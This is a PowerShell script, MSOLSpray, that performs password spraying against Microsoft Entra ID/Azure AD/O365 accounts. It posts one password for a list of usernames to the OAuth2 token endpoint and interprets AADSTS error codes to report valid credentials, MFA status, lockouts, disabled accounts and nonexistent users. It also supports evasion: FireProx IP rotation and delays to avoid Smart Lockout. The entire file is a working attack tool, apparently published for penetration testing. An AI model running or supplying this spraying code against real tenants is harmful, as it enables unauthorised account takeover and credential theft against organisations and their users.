MSOLSpray.ps1

function Invoke-MSOLSpray{


<#
    .SYNOPSIS
        This module will perform password spraying against Microsoft Online accounts (Microsoft Entra ID/Azure AD/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.       
        MSOLSpray Function: Invoke-MSOLSpray
        Author: Beau Bullock (@dafthack)
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None

    .DESCRIPTION
        
        This module will perform password spraying against Microsoft Online accounts (Microsoft Entra ID/Azure AD/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.
    
    .PARAMETER UserList
        
        UserList file filled with usernames one-per-line in the format "user@domain.com"
    
    .PARAMETER Password
        
        A single password that will be used to perform the password spray.
    
    .PARAMETER OutFile
        
        A file to output valid results to.
    
    .PARAMETER Force
        
        Forces the spray to continue and not stop when multiple account lockouts are detected.
    
    .PARAMETER URL
        
        The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.
    
    .PARAMETER TenantId
        
        The tenant ID to target. Default is "common". Useful for forcing authentication against a specific tenant (e.g., for B2B users).
    
    .PARAMETER Delay
        
        Delay in seconds between each authentication attempt. Helps avoid rate limiting and Smart Lockout. Default is 0 seconds.
    
    .PARAMETER VerboseErrors
        
        Displays additional error information for troubleshooting authentication issues.
    
    .EXAMPLE
        
        C:\PS> Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
        Description
        -----------
        This command will use the provided userlist and attempt to authenticate to each account with a password of Winter2020.
    
    .EXAMPLE
        
        C:\PS> Invoke-MSOLSpray -UserList .\userlist.txt -Password P@ssword -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox -OutFile valid-users.txt
        Description
        -----------
        This command uses the specified FireProx URL to spray from randomized IP addresses and writes the output to a file. See this for FireProx setup: https://github.com/ustayready/fireprox.
    
    .EXAMPLE
        
        C:\PS> Invoke-MSOLSpray -UserList .\userlist.txt -Password Fall2024! -Delay 5 -Verbose
        Description
        -----------
        This command will spray passwords with a 5 second delay between attempts and display verbose error information.
#>
  Param(


    [Parameter(Position = 0, Mandatory = $False)]
    [string]
    $OutFile = "",

    [Parameter(Position = 1, Mandatory = $False)]
    [string]
    $UserList = "",

    [Parameter(Position = 2, Mandatory = $False)]
    [string]
    $Password = "",

    # Change the URL if you are using something like FireProx
    [Parameter(Position = 3, Mandatory = $False)]
    [string]
    $URL = "https://login.microsoft.com",

    [Parameter(Position = 4, Mandatory = $False)]
    [string]
    $TenantId = "common",

    [Parameter(Position = 5, Mandatory = $False)]
    [switch]
    $Force,

    [Parameter(Position = 6, Mandatory = $False)]
    [int]
    $Delay = 0,

    [Parameter(Position = 7, Mandatory = $False)]
    [switch]
    $VerboseErrors
  )
    
    $ErrorActionPreference= 'silentlycontinue'
    
    # Input validation
    if ([string]::IsNullOrWhiteSpace($UserList)) {
        Write-Host -ForegroundColor "red" "[!] Error: UserList parameter is required."
        return
    }
    
    if (-not (Test-Path $UserList)) {
        Write-Host -ForegroundColor "red" "[!] Error: UserList file not found: $UserList"
        return
    }
    
    if ([string]::IsNullOrWhiteSpace($Password)) {
        Write-Host -ForegroundColor "red" "[!] Error: Password parameter is required."
        return
    }
    
    $Usernames = Get-Content $UserList
    $count = $Usernames.count
    
    if ($count -eq 0) {
        Write-Host -ForegroundColor "red" "[!] Error: UserList file is empty."
        return
    }
    
    $curr_user = 0
    $lockout_count = 0
    $lockoutquestion = 0
    $fullresults = @()

    Write-Host -ForegroundColor "yellow" ("[*] There are " + $count + " total users to spray.")
    Write-Host -ForegroundColor "yellow" "[*] Now spraying Microsoft Online (Entra ID)."
    $currenttime = Get-Date
    Write-Host -ForegroundColor "yellow" "[*] Current date and time: $currenttime"
    
    if ($Delay -gt 0) {
        Write-Host -ForegroundColor "yellow" "[*] Delay between requests: $Delay seconds"
    }

    ForEach ($username in $usernames){
        
        # Adding an extra comment for reasons...
        # User counter
        $curr_user += 1
        Write-Host -nonewline "$curr_user of $count users tested`r"

        # Setting up the web request
        $BodyParams = @{'resource' = 'https://graph.windows.net'; 'client_id' = '1b730954-1685-4b74-9bfd-dac224a7b894' ; 'client_info' = '1' ; 'grant_type' = 'password' ; 'username' = $username ; 'password' = $password ; 'scope' = 'openid'}
        $PostHeaders = @{'Accept' = 'application/json'; 'Content-Type' =  'application/x-www-form-urlencoded'}
        $webrequest = Invoke-WebRequest $URL/$TenantId/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable RespErr

        # If we get a 200 response code it's a valid cred
        If ($webrequest.StatusCode -eq "200"){
        Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password"
            $webrequest = ""
            $fullresults += "$username : $password"
        }
        else{
                # Check the response for indication of MFA, tenant, valid user, etc...
                # Here is a reference list of all the Microsoft Entra ID (Azure AD) Authentication and Authorization Error Codes:
                # https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes

                # Standard invalid password
            If($RespErr -match "AADSTS50126")
                {
                continue
                }

                # Invalid Tenant Response
            ElseIf (($RespErr -match "AADSTS50128") -or ($RespErr -match "AADSTS50059"))
                {
                Write-Output "[*] WARNING! Tenant for account $username doesn't exist. Check the domain to make sure they are using Azure/O365 services."
                }

                # Invalid Username
            ElseIf($RespErr -match "AADSTS50034")
                {
                Write-Output "[*] WARNING! The user $username doesn't exist."
                }

                # Microsoft MFA response
            ElseIf($RespErr -match "AADSTS50076")
                {
                Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates MFA (Microsoft) is in use."
                $fullresults += "$username : $password"
                }
            
                # User can complete MFA registration
            ElseIf($RespErr -match "AADSTS50079")
                {
                Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates that MFA can be onboarded (password is valid)."
                $fullresults += "$username : $password"
                }
    
                # Conditional Access response (Based off of limited testing this seems to be the response to DUO MFA)
            ElseIf($RespErr -match "AADSTS50158")
                {
                Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates conditional access (MFA: DUO or other) is in use."
                $fullresults += "$username : $password"
                }

                # Locked out account or Smart Lockout in place
            ElseIf($RespErr -match "AADSTS50053")
                {
                Write-Output "[*] WARNING! The account $username appears to be locked."
                $lockout_count++
                }

                # Disabled account
            ElseIf($RespErr -match "AADSTS50057")
                {
                Write-Output "[*] WARNING! The account $username appears to be disabled."
                }
            
                # User password is expired
            ElseIf($RespErr -match "AADSTS50055")
                {
                Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The user's password is expired."
                $fullresults += "$username : $password"
                }

                # User password must be reset
            ElseIf($RespErr -match "AADSTS50056")
                {
                Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The user's password must be reset."
                $fullresults += "$username : $password"
                }

                # Grant expired or revoked (password was changed/reset)
            ElseIf($RespErr -match "AADSTS50173")
                {
                Write-Output "[*] INFO: The user $username had their password changed or tokens were revoked."
                }

                # Conditional Access policy blocks token issuance
            ElseIf($RespErr -match "AADSTS53003")
                {
                Write-Output "[*] INFO: Access for $username blocked by Conditional Access policies."
                }

                # User must enroll for multi-factor authentication
            ElseIf($RespErr -match "AADSTS50072")
                {
                Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: User must enroll in MFA (but password is valid)."
                $fullresults += "$username : $password"
                }

                # Strong authentication is required
            ElseIf($RespErr -match "AADSTS50074")
                {
                Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: Strong authentication required (MFA enforced)."
                $fullresults += "$username : $password"
                }

                # Application not found in directory
            ElseIf($RespErr -match "AADSTS700016")
                {
                Write-Output "[*] WARNING! Application identifier not found in tenant for $username."
                }

                # Missing tenant information
            ElseIf($RespErr -match "AADSTS90019")
                {
                Write-Output "[*] WARNING! Missing tenant information for $username."
                }

                # User trying to sign in with personal Microsoft account
            ElseIf($RespErr -match "AADSTS81018")
                {
                Write-Output "[*] INFO: User $username attempted to sign in with personal Microsoft account (not work/school)."
                }

                # Unknown errors
            Else
                {
                Write-Output "[*] Got an error we haven't seen yet for user $username"
                if ($VerboseErrors) {
                    Write-Output "[*] Verbose Error Details for ${username}:"
                    $RespErr
                }
                }
        }
    
        # Add delay between requests if specified (but not after the last user)
        if ($Delay -gt 0 -and $curr_user -lt $count) {
            Start-Sleep -Seconds $Delay
        }
    
        # If the force flag isn't set and lockout count is 10 we'll ask if the user is sure they want to keep spraying
        if (!$Force -and $lockout_count -eq 10 -and $lockoutquestion -eq 0)
        {
            $title = "WARNING! Multiple Account Lockouts Detected!"
            $message = "10 of the accounts you sprayed appear to be locked out. Do you want to continue this spray?"

            $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", `
                "Continues the password spray."

            $no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", `
                "Cancels the password spray."

            $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no)

            $result = $host.ui.PromptForChoice($title, $message, $options, 0)
            $lockoutquestion++
            if ($result -ne 0)
            {
                Write-Host "[*] Cancelling the password spray."
                Write-Host "NOTE: If you are seeing multiple 'account is locked' messages after your first 10 attempts or so this may indicate Microsoft Entra ID Smart Lockout is enabled."
                break
            }
        }
        
    }

    # Output to file
    if ($OutFile -ne "")
    {
        If ($fullresults)
        {
        $fullresults | Out-File -Encoding ascii $OutFile
        Write-Output "Results have been written to $OutFile."
        }
    }
    Write-Host ""
}